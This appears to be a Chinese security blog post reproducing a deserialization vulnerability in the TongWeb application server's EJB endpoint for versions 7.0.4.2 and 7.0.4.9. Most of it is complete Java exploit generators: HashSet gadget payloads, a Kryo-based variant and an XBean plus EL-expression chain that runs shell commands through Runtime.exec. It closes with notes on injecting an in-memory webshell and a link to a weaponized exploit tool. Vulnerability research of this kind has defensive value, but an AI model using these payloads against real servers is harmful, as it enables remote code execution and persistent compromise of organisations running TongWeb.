TongWeb反序列化
发表于:2026-06-19 | 分类: 漏洞复现

TongWeb反序列化

简介

TongWeb 是东方通(Beijing Tongtech Co., Ltd.)自主研发的企业级应用服务器,全面支持 Java EE(现 Jakarta EE)标准,兼容主流开发框架,广泛应用于金融、电信、政府、能源等关键行业的信息化和数字化转型。TongWeb 具备高性能、高可用、分布式和集群部署能力,支持微服务架构、容器化和云原生环境,能够灵活适配多种操作系统和硬件平台。

影响版本

1
2
7.0.0.0<=TongWeb<=7.0.4.9_M9
6.1.7.0<=TongWeb<=6.1.8.13

漏洞原理

TongWeb ejb 服务没有校验请求的数据,直接对来源的数据进行反序列化,而默认情况下,http 服务(8088 端口) /ejbserver/ejb 接口会转发至 ejb 服务(5100 端口)的相同接口,攻击者可发送特定的数据包,造成反序列化漏洞,其中可利用的反序列化链主要有:

1
2
3
4
5
6
7
# 7.0.4.2 可用, 7.0.4.9黑名单	
BadAttributeValueExpExceptionToString->XbeanToString->TongWebEL->NashornJS
# 7.0.4.2 可用, 7.0.4.9特殊序列化不可用
EventListenerListToString->XbeanToString->TongWebEL->NashornJS
# 7.0.4.27.0.4.9可用
Hashtable->javax.swing.UIDefaults.TextAndMnemonicHashMap.get()->XbeanToString->TongWebEL->NashornJS

TongWeb7.0.4.2

漏洞分析

当前分析版本:7.0.4.2

第一入口

该反序列互漏洞出现在/ejb路由下

对应Servlet的类为com.tongweb.tongejb.server.httpd.ServerServlet

提前配置好调试信息,在ServerServlet#service方法中打下断点,该方法中会从request中读取body,然后传入到EjbServer#serive

进入EjbServer#serive,首先设置了ContextClassloader,然后再将输入流传入this.server#service

调试跟进Daemon#service中,这里就跟到了比较重要的部分,其中我们需要看的地方是以下这两个readExternal方法

看到第一个readExternal方法,首先读取输入流的前八个字节,作为版本号信息

然后在init方法中对版本号进行正则匹配,检查版本信息是否为OEJB/x.x格式,若不是则会抛出异常

进入第二个readExternal方法,首先读取一个字节作为版本信息,然后对剩下的序列化数据进行readObject反序列化,我们的漏洞触发点就在这里

第二入口

第二个入口在后面一些,在前面的反序列化流程可以成功通过的前提下,我们会继续向后走

在反序列化URI[]后,会继续读取一个字节

读取该字节后对照ENUM_MAP来选择对应的RequestType

我们不想走入这两个if分支中,那么我们要保证该字节不为-13

经过两个if判断后,依旧读取一个字节,对应RequestType,这里我们需要让他走到EJB_REQUEST的情况中,因为漏洞触发点在这个perccessEjbRequest方法中

走进该方法,我们看到了存在一个readExternal调用,上面的漏洞触发点就在这里

进入看到,和上面的漏洞触发是比较相似的,也是读取一个字节后对剩余字节进行readObject处理

这个字节需要是RequestMethodCodeMap中的其中之一即可

最终我们需要构造的payload如下(直接拿的别的师傅的,但是这里应该是缺少了一个URI[]对象)

POC

POC1

根据上面的分析,我们所构造的payload应该是以下这样的

需要注意的是,我们在读取了前八个字节以后,调用了new EjbObjectInputStream(cis),这里要求我们剩余序列化数据的开头为AC ED 00 05,因此我们那一个字节的版本信息需要写在序列化数据中,而不是单独的字节

根据以上分析,写出了以下Poc,其中baseString直接替换为序列化数据的Base64编码即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import java.io.ByteArrayOutputStream;
import java.util.Base64;

public class Demo {
public static void main(String[] args) throws Exception {
String baseString = "";
System.out.println(serialize(baseString));
}

public static String serialize(String baseString) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();

String ClientInfoString = "OEJP/1.1";
byte[] ClientInfoBytes = ClientInfoString.getBytes();

byteArrayOutputStream.write(ClientInfoBytes);


String Base64String = baseString;
byte[] decodedBytes = Base64.getDecoder().decode(Base64String);

byteArrayOutputStream.write(decodedBytes,0,4);
byteArrayOutputStream.write(0x77);
byteArrayOutputStream.write(0x01);
byteArrayOutputStream.write(0x01);
byteArrayOutputStream.write(decodedBytes,4,decodedBytes.length - 4);

return Base64.getEncoder().encodeToString(byteArrayOutputStream.toByteArray());
}
}

直接使用javaChains工具即可,可以看到成功延时

在TongWeb中带有CB依赖,但是使用CB链打的时候报错提示ClassNotFound BeanCompartor,因此CB依赖打不通

这里是Yinsel师傅写的POC,用来检测是否存在漏洞的,但是还是不能进行漏洞利用

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public class Demo {  
public static void main(String[] args) throws Exception {
System.out.println(serialize(getObject()));
}

public static String serialize(Object object) throws Exception {
ByteArrayOutputStream bout = new ByteArrayOutputStream();
ObjectOutputStream obout = new ObjectOutputStream(bout);
obout.writeByte(1);
obout.writeObject(object); // 写入恶意对象
String clientInfoString = "OEJP/1.1"; // 版本号随意, 符合OEJP/x.x
byte[] clientInfoBytes = clientInfoString.getBytes();
ByteArrayOutputStream bout2 = new ByteArrayOutputStream();
bout2.write(clientInfoBytes);
bout2.write(bout.toByteArray());
return Base64.getEncoder().encodeToString(bout2.toByteArray());
}

// 参考javachains
public static Object getObject() throws Exception {
Class findClazz = Object.class;
Set<Object> root = new HashSet();
Set<Object> s1 = root;
Set<Object> s2 = new HashSet();

for(int i = 0; i < 28; ++i) {
Set<Object> t1 = new HashSet();
Set<Object> t2 = new HashSet();
t1.add(findClazz);
s1.add(t1);
s1.add(t2);
s2.add(t1);
s2.add(t2);
s1 = t1;
s2 = t2;
}
return root;
}
}

POC2

我自己尝试自己写了写Poc,想和上面一样通过传入BASE64字符串,但是一直没有成功,先把Yinsel师傅的POC拿来了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
public class Demo {  
public static void main(String[] args) throws Exception {
System.out.println(serialize(getObject()));
}

public static String serialize(Object object) throws Exception {
ByteArrayOutputStream bout = new ByteArrayOutputStream();
ObjectOutputStream obout = new ObjectOutputStream(bout);
URI[] uris = new URI[1];
obout.writeByte(1); // 版本号
obout.writeObject(uris); // URI[] 对象
obout.writeByte(0); // requestType, 不能为-1或者3
obout.writeByte(0); // requestType, 必须为0
obout.writeByte(1); // 根据枚举值RequestMethodCode任选其一即可
obout.writeObject(object); // 恶意序列化对象
obout.flush();
String clientInfoString = "OEJP/1.1"; // 版本号随意, 符合OEJP/x.x
byte[] clientInfoBytes = clientInfoString.getBytes();
ByteArrayOutputStream bout3 = new ByteArrayOutputStream();
bout3.write(clientInfoBytes);
bout3.write(bout.toByteArray());
return Base64.getEncoder().encodeToString(bout3.toByteArray());
}

public static Object getObject() throws Exception {
Class findClazz = Object.class;
Set<Object> root = new HashSet();
Set<Object> s1 = root;
Set<Object> s2 = new HashSet();

for(int i = 0; i < 28; ++i) {
Set<Object> t1 = new HashSet();
Set<Object> t2 = new HashSet();
t1.add(findClazz);
s1.add(t1);
s1.add(t2);
s2.add(t1);
s2.add(t2);
s1 = t1;
s2 = t2;
}
return root;
}
}

TongWeb7.0.4.9

漏洞分析

7.0.4.9和7.0.4.2两个版本的入口点是在同一个地方的,但是有些地方有些细微的差异

第一点是7.0.4.9中将ProtocolMetaData#readExternal方法被置空了,所以不在需要开头的八个字节

第二点差异是在ServerMetaData#readExternal部分,原本的原生反序列化readObject被替换成了Kryotuil#readFromByteArrayBysize工具类反序列化,但是本质上还是readObject,因此我们在构造poc的时候,使用该工具类自带的 序列化方法KryoUtil.writeToByteArray() 即可(这么看来,我之前的想法通过Base64字符串传入恶意序列化工具的想法就被pass掉了)

第三点在EJBRequest#readExteral方法中,在原本的基础上,多读取了两个字节,所以我们在构造的时候也就需要多添加两个字节

POC

这里的POC我就不自己捣鼓了,大体的内容还是和上面的是相类似的(自己捣鼓了捣鼓方向就错了)

POC1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
public class Demo {  
public static void main(String[] args) throws Exception {
System.out.println(serialize(getObject()));
}

public static String serialize(Object object) throws Exception {
ByteArrayOutputStream bout = new ByteArrayOutputStream();
ObjectOutputStream obout = new ObjectOutputStream(bout);
obout.writeInt(2); // size
ClassLoader classLoader = Thread.currentThread().getContextClassLoader();
byte[] writedata = KryoUtil.writeToByteArray(object, classLoader, false);
obout.writeInt(writedata.length);
obout.write(writedata);
obout.flush();
ByteArrayOutputStream bout3 = new ByteArrayOutputStream();
bout3.write(bout.toByteArray());
return Base64.getEncoder().encodeToString(bout3.toByteArray());
}

public static Object getObject() throws Exception {
Class findClazz = Object.class;
Set<Object> root = new HashSet();
Set<Object> s1 = root;
Set<Object> s2 = new HashSet();

for(int i = 0; i < 28; ++i) {
Set<Object> t1 = new HashSet();
Set<Object> t2 = new HashSet();
t1.add(findClazz);
s1.add(t1);
s1.add(t2);
s2.add(t1);
s2.add(t2);
s1 = t1;
s2 = t2;
}
return root;
}
}

POC2

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
public class Demo {  
public static void main(String[] args) throws Exception {
System.out.println(serialize(getObject()));
}

public static String serialize(Object object) throws Exception {
ByteArrayOutputStream bout = new ByteArrayOutputStream();
ObjectOutputStream obout = new ObjectOutputStream(bout);
obout.writeInt(1); // size 跳过第一个ServerMetaData.readExternal的if防止异常,小于2即可
obout.writeByte(1); // requestType, 不为-1和3
obout.writeByte(0); // requestType,必须为0
obout.writeByte(1); // requestMethodCode, 根据枚举值填即可
obout.writeUTF(""); // UTF8字符串任意值
obout.writeShort(1); // short类型任意值
obout.writeObject(object); // 恶意序列化对象
obout.flush();
ByteArrayOutputStream bout3 = new ByteArrayOutputStream();
bout3.write(bout.toByteArray());
return Base64.getEncoder().encodeToString(bout3.toByteArray());
}

public static Object getObject() throws Exception {
Class findClazz = Object.class;
Set<Object> root = new HashSet();
Set<Object> s1 = root;
Set<Object> s2 = new HashSet();

for(int i = 0; i < 28; ++i) {
Set<Object> t1 = new HashSet();
Set<Object> t2 = new HashSet();
t1.add(findClazz);
s1.add(t1);
s1.add(t2);
s2.add(t1);
s2.add(t2);
s1 = t1;
s2 = t2;
}
return root;
}
}

XBean + EL表达式

但是看别的师傅的文章,可以打XBean + EL表达式执行,但是TongWeb中的打该链子的时候好像是需要魔改一下的

先学习一下这条链子是怎么打通的,首先比较常用的BadAttributeValueExpException#readObject调用任意类的toString方法

调用到Binding#toString方法,这里的链子走的是getObject方法

ContextUtil类中存在一个内部类ReadOnlyBinding,将该类传入BadAttributeValueExpException,在readObject的时候即可触发ReadOnlyBinding#getObject

走入ContextUtil#resolve,该value(Reference)是我们可控的,最后会走到getObjectInstance方法处,这里就比较熟悉了,我们在JNDI高版本利用时学过

POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
package org.xbean;

import org.apache.naming.ResourceRef;
import org.apache.xbean.naming.context.ContextUtil;
import org.apache.xbean.naming.context.WritableContext;
import sun.reflect.ReflectionFactory;

import javax.management.BadAttributeValueExpException;
import javax.naming.StringRefAddr;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;

public class XBean {
public static void main(String[] args) throws InvocationTargetException, InstantiationException, IllegalAccessException, NoSuchMethodException, NoSuchFieldException, ClassNotFoundException, IOException {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor",null,"","",true,"org.apache.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString","x=eval"));
ref.add(new StringRefAddr("x","Runtime.getRuntime().exec('open -a Calculator')"));

Constructor<?> constructor =
ReflectionFactory.getReflectionFactory().
newConstructorForSerialization(WritableContext.class, Object.class.getConstructor());

ContextUtil.ReadOnlyBinding readOnlyBinding = new ContextUtil.ReadOnlyBinding( "sean", ref, (WritableContext) constructor.newInstance() );

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(""); // 避免提前进入链路
setField(badAttributeValueExpException, "val", readOnlyBinding); // 改回来

serialize(badAttributeValueExpException);
unserialize();
}

public static void setField(Object object , String filedName , Object value) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Class clazz = object.getClass();

while(true){
try{
Field filed = clazz.getDeclaredField(filedName);
filed.setAccessible(true);
filed.set(object,value);
break;
}catch (Exception e){
clazz = clazz.getSuperclass();
}

}
}

public static void serialize(Object object) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("ser.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(object);
}

public static void unserialize() throws IOException, ClassNotFoundException {
FileInputStream fileInputStream = new FileInputStream("ser.bin");
ObjectInputStream objectInputStream = new ObjectInputStream(fileInputStream);
objectInputStream.readObject();
}
}

TongWeb反序列化利用

命令执行POC

这里使用XBean + EL表达式来执行命令,但是TongWeb中的包名是不同的,所以需要一定的修改,这里以TongWeb7.0.4.2入口一为例

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
package org.xbean;

import com.tongweb.naming.ResourceRef;
import com.tongweb.xbean.naming.context.ContextUtil;

import com.tongweb.xbean.naming.context.WritableContext;
import sun.reflect.ReflectionFactory;

import javax.management.BadAttributeValueExpException;
import javax.naming.StringRefAddr;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashSet;
import java.util.Set;

public class TongWebXBean {
public static void main(String[] args) throws Exception {
System.out.println(serialize(getObject()));
}

public static String serialize(Object object) throws Exception {
ByteArrayOutputStream bout = new ByteArrayOutputStream();
ObjectOutputStream obout = new ObjectOutputStream(bout);
obout.writeByte(1);
obout.writeObject(object); // 写入恶意对象
String clientInfoString = "OEJP/1.1"; // 版本号随意, 符合OEJP/x.x
byte[] clientInfoBytes = clientInfoString.getBytes();
ByteArrayOutputStream bout2 = new ByteArrayOutputStream();
bout2.write(clientInfoBytes);
bout2.write(bout.toByteArray());
return Base64.getEncoder().encodeToString(bout2.toByteArray());

}

public static Object getObject() throws Exception {
ResourceRef ref = new ResourceRef("javax.el.ELProcessor",null,"","",true,"com.tongweb.naming.factory.BeanFactory",null);
ref.add(new StringRefAddr("forceString","x=eval"));
ref.add(new StringRefAddr("x","Runtime.getRuntime().exec('touch /tmp/success')"));

Constructor<?> constructor =
ReflectionFactory.getReflectionFactory().
newConstructorForSerialization(WritableContext.class, Object.class.getConstructor());

ContextUtil.ReadOnlyBinding readOnlyBinding = new ContextUtil.ReadOnlyBinding( "sean", ref, (WritableContext) constructor.newInstance() );

BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(""); // 避免提前进入链路
setField(badAttributeValueExpException, "val", readOnlyBinding); // 改回来
return badAttributeValueExpException;
}

public static void setField(Object object , String filedName , Object value) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
Class clazz = object.getClass();

while(true){
try{
Field filed = clazz.getDeclaredField(filedName);
filed.setAccessible(true);
filed.set(object,value);
break;
}catch (Exception e){
clazz = clazz.getSuperclass();
}

}
}
}

调了半天终于成了

注入内存马

内存马的构造我猜大概率也是改包名即可,这里我直接使用MemshellParty的工具,生成注入内存马的EL表达式,替换POC中的EL表达式即可l

TongWebEJB武器化

经过一段时间后,我vibe coding了一个TongWeb反序列化的漏洞利用工具,项目地址如下:

https://github.com/CurlySean/TongWebExploit

第一次写这种漏洞利用工具,可能会存在一些问题,有问题的话大家可以提一下issue,点点star支持一下啦~

下一篇:
EL表达式Trick